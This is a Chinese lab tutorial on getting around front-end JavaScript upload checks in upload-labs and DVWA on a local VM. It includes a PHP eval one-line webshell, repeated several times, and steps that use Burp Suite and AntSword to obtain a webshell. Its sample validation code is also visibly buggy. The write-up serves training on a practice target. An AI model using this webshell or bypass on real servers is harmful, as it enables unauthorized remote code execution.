一、实验目的:

1、通过本次实验掌握js验证原理
2、通过自写代码学习js验证过程;
3、通过upload-labs闯关游戏(Pass-01)掌握js前端绕过技术。

二、工具:

BurpSuite
火狐/谷歌浏览器
AntSword(蚁剑)

三、实验环境:

靶 机: windows10虚拟机:192.168.100.150
      自写上传页面代码
      文件上传漏洞闯关游戏
      DVWA靶场

攻击机: 物理机

四、实验目的:

1、自写上传代码,学习前端js验证过程及漏洞产生的原理;
2、通过upload-labs-master文件上传漏洞闯关游戏Pass-01DVWA靶场-low级别,掌握js绕过技术。

五、漏洞说明:

1. 漏洞原理:

  Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。由于恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。

2. js前端验证过程代码:

1、在windows10虚拟机的网站主目录下,创建一个fileupload/js_test/目录,自己构建上传页面,上传页面代码,前端验证index.html文件如下所示:

<!DOCTYPE html>
<html>
<head>
	<title>文件上传</title>
  <!-- 这里进行编码,编码格式为UTF-8,防止浏览器出现中文乱码 --> 
	<meta charset="utf-8">
</head>
<body>
  <!-- enctype="multipart/form-data":对表单传输的数据不需要进行编码(为防止传入后台进行编解码过程中,出现问题,故不进行编码处理) --> 
<form action="fileupload.php" onsubmit="return checkupload();" method="POST" enctype="multipart/form-data">
	请选择要上传的文件:<input type="file" name="uploadfile">
	<input type="submit" name="submit" value="提交">
</form>
<!-- 下面是使用js代码对上传的文件进行前端验证 --> 
<script type="text/javascript">
	function checkupload() {
    // alert(111);
    // 对上传的文件类型进行验证:
    // 1.获取上传文件名:
		var filetag = document.getElementById("uploadfile");
		var filename = filetag.value;
		// alert(filename)
    // 2.截取文件后缀名:
		var lastloc = filename.lastIndexof(".")+1;
		// alert(lastloc);
		var suffix = filename.substring(lastloc);
		// alert(suffix);
    // 3.对文件类型进行验证:
		if (suffix != "jpg"|"png") {
			alert("文件类型错误,上传失败");
			return false; 
		}
	}
</script>
</body>
</html>

2、在同一个目录下,创建一个后端fileupload.php文件:

<?php
header("Content-Type:text/html;charset=utf-8"); // 为了避免浏览器中文乱码,对页面进行编码,编码格式为utf-8
echo "<pre>";  //对数据进行格式化输出
if(isset($_FILES["file"])){
    $file = $_FILES["file"];
    $filename=$file["tmp_name"];
    $name=$file["name"];
    $name1=iconv("utf-8","gbk",$name); // 将字符串$name 从utf-8转换编码到gbk。这里是为了防止上传到服务器时,图片在服务器出现中文乱码。
    $destination="./upload/".$name1;
    move_uploaded_file($filename,$destination);
    }else{
        echo "上传文件有误";
    }
?>

六、实验过程:

1. 判断是否存在前端js绕过漏洞

  按F12(或者:在网页空白处"右击"-->选择:"检查")打开调试面板,选择网络,然后上传图片文件非图片文件,然后对这两个文件的变化进行对比,如果网络中没有数据变化,说明存在js前端验证漏洞,如果有变化说明不存在。(有变化说明,前端没有做验证,是把文件传输到后台,在后台进行验证的,所以才会有网络请求。)

1.1 上传非图片文件:

1、创建一个test.php文件:
文件内容:

<?php @eval($_REQUEST['666']); ?>

2、通过物理机访问URL,打开检查元素,选中网络,并上传文件test.php:

http://192.168.100.150/upload-labs-master/Pass-01/index.php


3、点击上传文件后,提示不允许上传该文件,并且没有数据流量产生:
通过上面的操作,发现没有数据向后台发送,说明前端有js验证,存在js绕过漏洞。

1.2 上传图片文件:

1、通过物理机访问URL,打开检查元素,选中网络,并上传文件test.jpg:

2、点击上传文件后,发现网络中有数据流量产生:
通过上图可以看到,网络栏有数据传输,说明有数据向后台发送。

2. 绕过方法一:删除或者禁用js:

2.1 upload-labs闯关游戏(Pass-01):

通过windows10虚拟机 中的 upload-labs闯关游戏(Pass-01)进行实验:

1、在输入框中输入about:config点击接受

2、在搜索框中输入javascript然后找到javascript.enabled选项双击,出现false:


3、回到upload-labs-master选择第一关上传php文件:

通过上面操作,发现已经上传成功。

4、上传成功后允许js代码运行,如下图所示:
注:不开启js代码的话,如果页面通过ajxs编写的,可能就无法实现相应功能,比如这里的文件上传功能可能就不能使用了。

2.2 DVWA靶场-low级别:

1、打开DVWA靶场-low级别

2、上传一个1.jpg文件:


3、上传完成后,会显示文件路径,并会提示成功上传:


4、可以正常访问:

5、接下来,上传一个一句话木马文件test.php
文件内容:

<?php @eval($_REQUEST['666']); ?>

6、可以正常上传,并进行访问,并且能够解析成功:

3. 绕过方法二:使用代理上传文件,比如Burp Suite

1、在windows10虚拟机 桌面创建test.php文件,写入一句话木马保存,然后将后缀名改为jpg:

<?php @eval($_REQUEST['666']); ?>

2、进入闯关游戏Pass-01,点击浏览选中创建好的jpg文件:

3、打开Burp Suite,开启流量拦截:

4、在浏览器里面,打开Burp Suite代理流量,然后点击上传:

5、发现Burp Suite已经抓到数据:

6、将文件格式改成php文件,点击Forward发送数据包,并关闭浏览器代理:

7、查看windows10虚拟机\WWW\upload-labs-master\upload文件夹,出现test.php文件上传成功:

8、选中图片右击,选择复制图像链接,即可获得我们上传文件的URL,并进行访问:

9、把复制的URL,粘贴到蚁剑,测试连接,并添加连接:


10、可以看到已经成功获得windows10虚拟机的webshell:

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐